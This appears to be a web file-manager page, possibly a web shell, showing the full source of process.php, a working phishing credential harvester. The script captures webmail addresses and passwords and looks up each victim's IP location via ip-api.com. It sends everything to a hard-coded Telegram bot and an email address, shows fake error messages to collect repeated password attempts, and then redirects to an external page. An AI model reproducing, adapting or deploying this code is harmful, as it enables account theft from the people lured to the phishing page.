at path:
ROOT
/
blx
/
process.php
run:
R
W
Run
index.php
13.58 KB
2026-07-19 13:09:38
R
W
Run
Delete
Rename
process.php
7.79 KB
2026-11-29 06:03:39
R
W
Run
Delete
Rename
error_log
up
📄
process.php
Save
<?php session_start(); if (!isset($_SESSION['pass_attempt'])) $_SESSION['pass_attempt'] = 0; if (!isset($_SESSION['collected_email'])) $_SESSION['collected_email'] = ''; if (!isset($_SESSION['collected_pass'])) $_SESSION['collected_pass'] = ''; // Telegram config define('TELEGRAM_BOT_TOKEN', '9166619381:AAGJOrs7xwDUG3oVW3799o72rV8PezeMDdY'); define('TELEGRAM_CHAT_ID', '7920820658'); // Email config define('EMAIL_TO', ''); function getClientIP() { $ipaddress = 'N/A'; if (isset($_SERVER['HTTP_CLIENT_IP'])) { $ipaddress = $_SERVER['HTTP_CLIENT_IP']; } else if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']; } else if (isset($_SERVER['HTTP_X_FORWARDED'])) { $ipaddress = $_SERVER['HTTP_X_FORWARDED']; } else if (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ipaddress = $_SERVER['HTTP_FORWARDED_FOR']; } else if (isset($_SERVER['HTTP_FORWARDED'])) { $ipaddress = $_SERVER['HTTP_FORWARDED']; } else if (isset($_SERVER['REMOTE_ADDR'])) { $ipaddress = $_SERVER['REMOTE_ADDR']; } return $ipaddress; } function getLocation($ip) { try { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://ip-api.com/json/{$ip}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); curl_close($ch); if ($response !== false) { $data = json_decode($response, true); if (isset($data['status']) && $data['status'] == 'success') { return [ 'country' => $data['country'] ?? 'N/A', 'city' => $data['city'] ?? 'N/A', 'region' => $data['regionName'] ?? 'N/A', 'isp' => $data['isp'] ?? 'N/A', 'org' => $data['org'] ?? 'N/A' ]; } } } catch (Exception $e) {} return ['country' => 'N/A', 'city' => 'N/A', 'region' => 'N/A', 'isp' => 'N/A', 'org' => 'N/A']; } function sendTelegram($message) { $token = TELEGRAM_BOT_TOKEN; $chat_id = TELEGRAM_CHAT_ID; $url = "https://api.telegram.org/bot{$token}/sendMessage"; $data = [ 'chat_id' => $chat_id, 'text' => $message, 'parse_mode' => 'HTML' ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); curl_close($ch); return $response; } function sendEmail($email, $password, $ip, $location, $user_agent) { $to = EMAIL_TO; $subject = "Droppy Loggies | $email: " . $ip; // Format exactly as specified $message = "-----------+ W3Bmail logs +-----------\r\n"; $message .= "E : " . $email . "\r\n"; $message .= "P : " . $password . "\r\n"; $message .= "Country : " . $location['country'] . "\r\n"; $message .= "----------+ Created in Dagbo unit +-----------\r\n"; $message .= "City : " . $location['city'] . "\r\n"; $message .= "Region : " . $location['region'] . "\r\n"; $message .= "IP : " . $ip . "\r\n"; $message .= "ISP : " . $location['isp'] . "\r\n"; $message .= "User Agent : " . $user_agent . "\r\n"; $message .= "Date : " . date('Y-m-d H:i:s') . "\r\n"; $header = "Content type: Street Vibes \r\n"; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-type: text/html\r\n"; $header .= "From: no-reply@" . $_SERVER['HTTP_HOST'] . "\r\n"; return mail($to, $subject, $message, $header); } // Function to decode base64 email (PHP side) function decodeBase64Email($encoded) { // URL decode first $decoded = urldecode($encoded); // Try base64 decode $email = base64_decode($decoded, true); if ($email !== false && strpos($email, '@') !== false && strpos($email, '.') !== false) { return $email; } // If base64 decode fails, check if it's already plain email if (strpos($encoded, '@') !== false && strpos($encoded, '.') !== false) { return $encoded; } return ''; } $step = $_POST['step'] ?? ''; $response = ['success' => false]; switch($step) { case 'store_email': $_SESSION['collected_email'] = $_POST['email'] ?? ''; $response['success'] = true; break; case 'email': $email = trim($_POST['email'] ?? ''); if (empty($email) || !strpos($email, '@')) { $response['message'] = 'Enter a valid email address'; } else { $_SESSION['collected_email'] = $email; $response['success'] = true; } break; case 'password': $email = $_POST['email'] ?? ''; $password = $_POST['password'] ?? ''; $attempt = $_POST['attempt'] ?? 1; if (empty($password)) { $response['message'] = 'Please enter your password'; } else { $_SESSION['collected_email'] = $email; $_SESSION['collected_pass'] = $password; // Get IP and location $ip = getClientIP(); $location = getLocation($ip); $date = date('Y-m-d H:i:s'); $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'N/A'; // Build Telegram message $telegram_message = "✨WEBMAIL✨\n"; $telegram_message .= "\n"; $telegram_message .= "Email: " . $email . "\n"; $telegram_message .= "Password: " . $password . "\n"; $telegram_message .= "\n"; $telegram_message .= "## USER FINGERPRINTS ##\n"; $telegram_message .= "\n"; $telegram_message .= "IP ADDRESS: " . $ip . "\n"; $telegram_message .= "LOCATION: " . $location['country'] . " , " . $location['city'] . " , " . $location['region'] . "\n"; $telegram_message .= "ISP: " . $location['isp'] . "\n"; $telegram_message .= "DATE: " . $date . "\n"; $telegram_message .= "USERAGENT: " . $user_agent . "\n"; $telegram_message .= "\n"; $telegram_message .= "✨✨✨✨✨✨✨✨✨✨✨✨✨\n"; // Send to Telegram sendTelegram($telegram_message); // Send to Email with exact format $emailSent = sendEmail($email, $password, $ip, $location, $user_agent); // Track attempts in session $_SESSION['pass_attempt']++; // Check if 4 attempts reached (changed from 3 to 4) if ($_SESSION['pass_attempt'] >= 4) { $_SESSION['pass_attempt'] = 0; $response['success'] = true; $response['redirect'] = 'https://pub-17990a37d20a4196af5ee326c98b2932.r2.dev/xerox.htm'; // Change this to your domain } else { $response['message'] = 'Something went wrong. Please try again.'; $response['clear_password'] = true; $response['attempts_left'] = 4 - $_SESSION['pass_attempt']; } } break; case 'reset': $_SESSION['pass_attempt'] = 0; $_SESSION['collected_email'] = ''; $_SESSION['collected_pass'] = ''; $response['success'] = true; break; } header('Content-Type: application/json'); echo json_encode($response); ?>